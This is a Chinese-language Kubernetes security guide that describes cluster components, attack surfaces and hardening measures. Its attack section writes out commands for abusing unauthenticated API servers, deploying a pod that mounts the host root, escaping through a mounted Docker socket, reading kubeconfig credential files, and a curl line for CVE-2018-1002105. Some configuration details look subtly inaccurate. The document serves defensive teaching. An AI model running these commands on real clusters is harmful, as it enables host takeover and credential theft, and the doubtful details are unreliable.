企业云安全中的Kubernetes攻击手法及防御策略
字数 1688 2025-08-29 08:30:18
Kubernetes安全攻防指南:攻击手法与防御策略
一、Kubernetes架构与安全模型
1.1 Kubernetes核心组件
- API Server:集群入口,处理所有REST请求
- etcd:分布式键值存储,保存集群配置数据
- kubelet:节点代理,管理Pod和容器
- kube-proxy:处理网络代理和负载均衡
- Controller Manager:维护集群状态(副本数、节点状态等)
- Scheduler:将Pod调度到合适节点
1.2 Kubernetes安全模型
-
认证(Authentication):
- 客户端证书
- Bearer Token
- 身份验证代理
-
授权(Authorization):
- RBAC(基于角色的访问控制)
- ABAC(基于属性的访问控制)
-
准入控制(Admission Control):
- Pod Security Policies
- 请求预处理检查
-
网络策略(Network Policies):
- 控制Pod间网络通信
- 定义入口/出口规则
1.3 Kubernetes攻击面
| 攻击面 | 具体组件/区域 |
|---|---|
| 控制平面 | API Server、etcd、Controller Manager、Scheduler |
| 工作节点 | kubelet、kube-proxy、容器运行时(Docker/containerd) |
| 网络 | Pod间通信、Service暴露、Ingress配置 |
| 存储 | PersistentVolume、PersistentVolumeClaim、Secrets |
| 供应链 | 镜像仓库、CI/CD流水线 |
二、核心攻击手法与示例
2.1 API Server未授权访问
攻击原理:
- 默认端口6443/8080未启用身份验证
- 旧版本K8s默认开放8080端口且无需认证
攻击步骤:
- 探测开放的API Server端口:
curl -k https://<IP>:6443/api/v1/namespaces/default/pods
- 使用kubectl直接管理集群:
kubectl -s http://<IP>:8080 get nodes # 列出所有节点
kubectl -s http://<IP>:8080 create -f malicious-pod.yaml # 创建恶意Pod
- 示例恶意Pod(挂载宿主机根目录):
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- name: nginx
image: nginx
volumeMounts:
- mountPath: /host
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
2.2 Docker Socket挂载逃逸
攻击原理:
- 容器内挂载/var/run/docker.sock
- 通过Docker API控制宿主机Docker守护进程
攻击步骤:
- 检查是否挂载docker.sock:
ls /var/run/docker.sock
- 安装Docker客户端并与宿主机Docker通信:
apt-get update && apt-get install docker.io
docker -H unix:///var/run/docker.sock ps
- 创建特权容器逃逸到宿主机:
docker -H unix:///var/run/docker.sock run -it --privileged --net=host -v /:/host ubuntu bash
2.3 Kubeconfig文件泄露
攻击原理:
- 获取包含认证信息的kubeconfig文件
- 通常位于~/.kube/config或/etc/kubernetes目录
攻击步骤:
- 查找kubeconfig文件:
find / -name "kubeconfig" 2>/dev/null
cat ~/.kube/config
- 使用泄露的kubeconfig访问集群:
export KUBECONFIG=/path/to/kubeconfig
kubectl get pods --all-namespaces
2.4 历史漏洞利用
CVE-2018-1002105:
- 特权升级漏洞,允许通过API Server建立后端连接
- 影响版本:Kubernetes v1.0.x-1.9.x, v1.10.0-1.10.10, v1.11.0-1.11.4
利用方法:
curl -k -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" -H "X-Stream-Protocol-Version: v2.example.com" https://<API_SERVER>:6443/api/v1/namespaces/kube-system/pods/<etcd-pod>/exec?command=/bin/sh&input=1&output=1&tty=1
三、防御策略
3.1 认证与授权加固
- 禁用匿名访问:
apiVersion: v1
kind: ConfigMap
metadata:
name: kube-apiserver
namespace: kube-system
data:
anonymous-auth: "false"
- 启用RBAC:
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: admin-binding
subjects:
- kind: User
name: admin
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
EOF
- 最小权限原则:
kubectl create role pod-reader --verb=get,list --resource=pods
kubectl create rolebinding pod-reader-binding --role=pod-reader --user=user1
3.2 网络防护
- 网络策略示例:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
- 限制Pod间通信:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-backend
spec:
podSelector:
matchLabels:
app: frontend
ingress:
- from:
- podSelector:
matchLabels:
app: backend
3.3 运行时安全
- Pod安全策略:
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
requiredDropCapabilities:
- ALL
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
hostNetwork: false
hostIPC: false
hostPID: false
runAsUser:
rule: 'MustRunAsNonRoot'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'MustRunAs'
ranges:
- min: 1
max: 65535
fsGroup:
rule: 'MustRunAs'
ranges:
- min: 1
max: 65535
- 安全上下文配置:
apiVersion: v1
kind: Pod
metadata:
name: security-context-demo
spec:
securityContext:
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
containers:
- name: sec-ctx-demo
image: busybox
command: [ "sh", "-c", "sleep 1h" ]
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
3.4 审计与监控
- 启用API Server审计:
apiVersion: v1
kind: ConfigMap
metadata:
name: audit-policy
namespace: kube-system
data:
policy: |
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
resources:
- group: ""
resources: ["secrets", "configmaps"]
- level: RequestResponse
resources:
- group: ""
resources: ["pods"]
- 部署Falco进行运行时监控:
helm install falco falcosecurity/falco --set falco.jsonOutput=true
四、最佳实践总结
-
控制平面安全:
- 定期更新Kubernetes版本
- 禁用非安全端口(8080)
- 启用API Server认证和授权
- 配置etcd加密
-
节点安全:
- 定期更新节点操作系统
- 限制kubelet权限
- 使用只读根文件系统
- 禁用特权容器
-
工作负载安全:
- 使用非root用户运行容器
- 限制容器能力
- 扫描镜像漏洞
- 实施网络策略
-
持续安全:
- 启用审计日志
- 监控异常行为
- 定期进行安全评估
- 实施自动化安全检查
通过全面实施这些防御策略,可以显著提高Kubernetes集群的安全性,有效抵御常见的攻击手法。